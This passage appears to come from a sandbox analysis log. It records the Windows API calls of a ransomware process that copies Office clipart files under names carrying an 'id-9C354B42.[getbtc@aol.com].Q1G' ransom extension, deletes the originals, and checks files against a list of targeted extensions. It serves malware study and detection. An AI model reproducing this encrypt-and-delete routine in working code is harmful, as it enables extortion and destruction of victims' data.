Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0257.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.371] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.371] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.372] GetLastError () returned 0x0 [0257.372] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7c44, lpOverlapped=0x0) returned 1 [0257.374] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0257.375] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.375] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.375] SetEndOfFile (hFile=0x3e0) returned 1 [0257.376] CloseHandle (hObject=0x3e0) returned 1 [0257.376] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.376] SetEndOfFile (hFile=0x390) returned 1 [0257.378] CloseHandle (hObject=0x390) returned 1 [0257.378] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.378] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 1 [0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.379] lstrlenW (lpString=".doc") returned 4 [0257.379] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.379] lstrlenW (lpString=".docx") returned 5 [0257.379] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.379] lstrlenW (lpString=".pdf") returned 4 [0257.379] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.379] lstrlenW (lpString=".xls") returned 4 [0257.379] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.379] lstrlenW (lpString=".xlsx") returned 5 [0257.379] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.379] lstrlenW (lpString=".ppt") returned 4 [0257.379] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.379] lstrlenW (lpString=".zip") returned 4 [0257.379] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.379] lstrlenW (lpString=".rar") returned 4 [0257.379] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.379] lstrlenW (lpString=".bz2") returned 4 [0257.379] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.379] lstrlenW (lpString=".7z") returned 3 [0257.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString=".dbf") returned 4 [0257.380] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString=".1cd") returned 4 [0257.380] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString=".jpg") returned 4 [0257.380] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString=".doc") returned 4 [0257.380] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString=".docx") returned 5 [0257.380] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.380] lstrlenW (lpString=".pdf") returned 4 [0257.380] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString=".xls") returned 4 [0257.380] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.380] lstrlenW (lpString=".xlsx") returned 5 [0257.380] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.380] lstrlenW (lpString=".ppt") returned 4 [0257.380] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.380] lstrlenW (lpString=".zip") returned 4 [0257.380] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.380] lstrlenW (lpString=".rar") returned 4 [0257.380] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString=".bz2") returned 4 [0257.380] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.380] lstrlenW (lpString=".7z") returned 3 [0257.380] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.381] lstrlenW (lpString=".dbf") returned 4 [0257.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.381] lstrlenW (lpString=".1cd") returned 4 [0257.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned 63 [0257.381] lstrlenW (lpString=".jpg") returned 4 [0257.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.381] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.381] lstrlenW (lpString="J0105526.WMF") returned 12 [0257.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.381] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17332) returned 1 [0257.381] CloseHandle (hObject=0x390) returned 1 [0257.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0257.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.382] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.382] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.383] GetLastError () returned 0x0 [0257.383] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x43b4, lpOverlapped=0x0) returned 1 [0257.384] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x43c0, lpOverlapped=0x0) returned 1 [0257.385] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.385] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.385] SetEndOfFile (hFile=0x3e0) returned 1 [0257.385] CloseHandle (hObject=0x3e0) returned 1 [0257.386] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.386] SetEndOfFile (hFile=0x390) returned 1 [0257.388] CloseHandle (hObject=0x390) returned 1 [0257.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.388] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString=".doc") returned 4 [0257.389] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString=".docx") returned 5 [0257.389] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.389] lstrlenW (lpString=".pdf") returned 4 [0257.389] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString=".xls") returned 4 [0257.389] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.389] lstrlenW (lpString=".xlsx") returned 5 [0257.389] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.389] lstrlenW (lpString=".ppt") returned 4 [0257.389] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString=".zip") returned 4 [0257.389] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.389] lstrlenW (lpString=".rar") returned 4 [0257.389] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString=".bz2") returned 4 [0257.389] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString=".7z") returned 3 [0257.389] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString=".dbf") returned 4 [0257.389] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString=".1cd") returned 4 [0257.389] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.389] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.389] lstrlenW (lpString=".jpg") returned 4 [0257.389] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString=".doc") returned 4 [0257.390] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString=".docx") returned 5 [0257.390] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0257.390] lstrlenW (lpString=".pdf") returned 4 [0257.390] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString=".xls") returned 4 [0257.390] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.390] lstrlenW (lpString=".xlsx") returned 5 [0257.390] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0257.390] lstrlenW (lpString=".ppt") returned 4 [0257.390] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString=".zip") returned 4 [0257.390] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.390] lstrlenW (lpString=".rar") returned 4 [0257.390] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString=".bz2") returned 4 [0257.390] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString=".7z") returned 3 [0257.390] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString=".dbf") returned 4 [0257.390] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString=".1cd") returned 4 [0257.390] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0257.390] lstrlenW (lpString=".jpg") returned 4 [0257.390] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.391] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.391] lstrlenW (lpString="J0105530.WMF") returned 12 [0257.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.391] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=7384) returned 1 [0257.391] CloseHandle (hObject=0x390) returned 1 [0257.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 0x20 [0257.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.392] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.392] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0257.392] GetLastError () returned 0x0 [0257.392] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1cd8, lpOverlapped=0x0) returned 1 [0257.394] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1ce0, lpOverlapped=0x0) returned 1 [0257.395] ReadFile (in: hFile=0x390, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0257.395] WriteFile (in: hFile=0x3e0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0257.395] SetEndOfFile (hFile=0x3e0) returned 1 [0257.395] CloseHandle (hObject=0x3e0) returned 1 [0257.395] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0257.395] SetEndOfFile (hFile=0x390) returned 1 [0257.397] CloseHandle (hObject=0x390) returned 1 [0257.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0257.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105530.wmf")) returned 1 [0257.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.398] lstrlenW (lpString=".doc") returned 4 [0257.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.398] lstrlenW (lpString=".docx") returned 5 [0257.398] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.398] lstrlenW (lpString=".pdf") returned 4 [0257.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.398] lstrlenW (lpString=".xls") returned 4 [0257.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.398] lstrlenW (lpString=".xlsx") returned 5 [0257.398] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.398] lstrlenW (lpString=".ppt") returned 4 [0257.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.398] lstrlenW (lpString=".zip") returned 4 [0257.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.398] lstrlenW (lpString=".rar") returned 4 [0257.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.398] lstrlenW (lpString=".bz2") returned 4 [0257.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString=".7z") returned 3 [0257.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString=".dbf") returned 4 [0257.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString=".1cd") returned 4 [0257.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString=".jpg") returned 4 [0257.399] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString=".doc") returned 4 [0257.399] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString=".docx") returned 5 [0257.399] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0257.399] lstrlenW (lpString=".pdf") returned 4 [0257.399] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString=".xls") returned 4 [0257.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.399] lstrlenW (lpString=".xlsx") returned 5 [0257.399] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0257.399] lstrlenW (lpString=".ppt") returned 4 [0257.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.399] lstrlenW (lpString=".zip") returned 4 [0257.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.399] lstrlenW (lpString=".rar") returned 4 [0257.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString=".bz2") returned 4 [0257.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.399] lstrlenW (lpString=".7z") returned 3 [0257.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.400] lstrlenW (lpString=".dbf") returned 4 [0257.400] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.400] lstrlenW (lpString=".1cd") returned 4 [0257.400] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105530.WMF") returned 63 [0257.400] lstrlenW (lpString=".jpg") returned 4 [0257.400] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.400] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0257.400] lstrlenW (lpString="J0105588.WMF") returned 12 [0257.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.400] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=21548) returned 1 [0257.400] CloseHandle (hObject=0x390) returned 1 [0257.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20 [0257.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0257.401] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: 